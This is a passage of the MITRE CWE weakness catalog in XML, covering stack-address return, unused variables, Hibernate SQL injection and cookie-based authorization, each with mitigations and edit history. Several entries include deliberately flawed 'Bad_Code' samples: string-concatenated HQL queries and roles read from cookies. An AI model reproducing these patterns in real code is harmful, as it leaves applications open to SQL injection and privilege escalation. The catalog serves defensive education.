					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>672</Relationship_Target_ID>
					          <!--Operation on a Resource after Expiration or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>825</Relationship_Target_ID>
					          <!--Expired Pointer Dereference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Because local variables are allocated on the stack, when a program returns
						a pointer to a local variable, it is returning a stack address. A subsequent
						function call is likely to re-use this same stack address, thereby
						overwriting the value of the pointer, which no longer corresponds to the
						same variable since a function's stack frame is invalidated when it returns.
						At best this will cause the value of the pointer to change unexpectedly. In
						many cases it causes the program to crash the next time the pointer is
						dereferenced. The problem can be hard to debug because the cause of the
						problem is often far removed from the symptom.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use static analysis tools to spot return of the address of a stack
							variable.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following function returns a stack address.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* getName() {</Code>
							              <Block>
								                <Code>char name[STR_MAX];</Code>
								                <Code>fillInName(name);</Code>
								                <Code>return name;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not call putenv() with a pointer to an automatic variable
						as the argument</Mapped_Node_Name>
					          <Mapped_Node_ID>POS34-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Stack Address
						Returned</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="563" Name="Unused Variable" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The variable's value is assigned but never used, making it a
					dead store.</Description_Summary>
				        <Extended_Description>
					          <Text>It is likely that the variable is simply vestigial, but it is also
						possible that the unused variable points out a bug.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>886</Relationship_Target_ID>
					          <!--SFP Cluster: Unused entities-->
				</Relationship>
			      </Relationships>
			      <Other_Notes>
				        <Note>
					          <Text>This variable's value is not used. After the assignment, the variable is
						either assigned another value or goes out of scope.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness could be an indication of a bug in the program or a
							deprecated variable that was not removed and is an indication of poor
							quality. This could lead to further bugs and the introduction of
							weaknesses.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove unused variables from the code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code excerpt assigns to the variable r and then
						overwrites the value without using it.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>r = getName();</Code>
							              <Code>r = getNewBuffer(buf);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Compile cleanly at high warning levels</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Compile cleanly at high warning levels</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC00-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="564" Name="SQL Injection: Hibernate" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Using Hibernate to execute a dynamic SQL statement built with
					user-controlled input can allow an attacker to modify the statement's meaning or
					to execute arbitrary SQL commands.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>89</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>A non-SQL style database which is not
							subject to this flaw may be chosen.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when creating user accounts to
							a SQL database. Users should only have the minimum privileges necessary
							to use their account. If the requirements of the system indicate that a
							user can read and modify their own data, then limit their privileges so
							they cannot read/write others' data.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement SQL strings using prepared statements that bind variables.
							Prepared statements that do not bind variables can be vulnerable to
							attack.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use vigorous white-list style checking on any user input that may be
							used in a SQL command. Rather than escape meta-characters, it is safest
							to disallow them entirely. Reason: Later use of data that have been
							entered in the database may neglect to escape meta-characters before
							use. Narrowly define the set of safe characters based on the expected
							value of the parameter in the request.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code excerpt uses Hibernate's HQL syntax to build a
						dynamic query that's vulnerable to SQL injection.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String street = getStreetFromUser();</Code>
							              <Code>Query query = session.createQuery("from Address a where
								a.street='" + street + "'");</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>109</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="565" Name="Reliance on Cookies without Validation and Integrity Checking" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application relies on the existence or values of cookies
					when performing security-critical operations, but it does not properly ensure
					that the setting is valid for the associated user.</Description_Summary>
				        <Extended_Description>
					          <Text>Attackers can easily modify cookies, within the browser or by implementing
						the client-side code outside of the browser. Reliance on cookies without
						detailed validation and integrity checking can allow attackers to bypass
						authentication, conduct injection attacks such as SQL injection and
						cross-site scripting, or otherwise modify inputs in unexpected ways.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>642</Relationship_Target_ID>
					          <!--External Control of Critical State Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>602</Relationship_Target_ID>
					          <!--Client-Side Enforcement of Server-Side Security-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This problem can be primary to many types of weaknesses in web
						applications. A developer may perform proper validation against URL
						parameters while assuming that attackers cannot modify cookies. As a result,
						the program might skip basic input validation to enable cross-site
						scripting, SQL injection, price tampering, and other attacks..</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>It is dangerous to use cookies to set a user's privileges. The cookie
							can be manipulated to escalate an attacker's privileges to an
							administrative level.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid using cookie data for a security-related decision.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform thorough input validation (i.e.: server side validation) on
							the cookie data if you're going to use it for a security related
							decision.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Add integrity checks to detect tampering.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect critical cookies from replay attacks, since cross-site
							scripting or other attacks may allow attackers to steal a
							strongly-encrypted cookie that also passes integrity checks. This
							mitigation applies to cookies that should only be valid during a single
							transaction or session. By enforcing timeouts, you may limit the scope
							of an attack. As part of your integrity check, use an unpredictable,
							server-side value that is not exposed to the client.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-61">
					          <Intro_Text>The following code excerpt reads a value from a browser cookie to
						determine the role of the user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Cookie[] cookies = request.getCookies();</Code>
							              <Code>for (int i =0; i&lt; cookies.length; i++) {</Code>
							              <Block>
								                <Code>Cookie c = cookies[i];</Code>
								                <Code>if (c.getName().equals("role")) {</Code>
								                <Block>
									                  <Code>userRole = c.getValue();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> It is easy for an attacker to modify the "role" value found in the
							locally stored cookie, allowing privilege escalation. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>39</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Other_Notes,
						Potential_Mitigations, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-16</Modification_Date>
					          <Modification_Comment>Clarified name and description; broadened the definition
						to include any security-critical operation, not just security decisions, to
						allow for relationships with injection weaknesses.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Name, Potential_Mitigations,
						Relationship_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Use of
						Cookies</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-07-27">Use of Cookies in Security
						Decision</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="566" Name="Authorization Bypass Through User-Controlled SQL Primary Key" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses a database table that includes records that
					should not be accessible to an actor, but it executes a SQL statement with a
					primary key that can be controlled by that actor.</Description_Summary>
				        <Extended_Description>
					          <Text>When a user can set a primary key to any value, then the user can modify
						the key to point to unauthorized records.</Text>
					          <Text>Database access control errors occur when: </Text>
					          <Block Block_Nature="List">
						            <Text>Data enters a program from an untrusted source.</Text>
						            <Text>The data is used to specify the value of a primary key in a SQL
							query.</Text>
						            <Text>The untrusted source does not have the permissions to be able to
							access all rows in the associated table. </Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>639</Relationship_Target_ID>
					          <!--Authorization Bypass Through User-Controlled Key-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Technology_Classes>
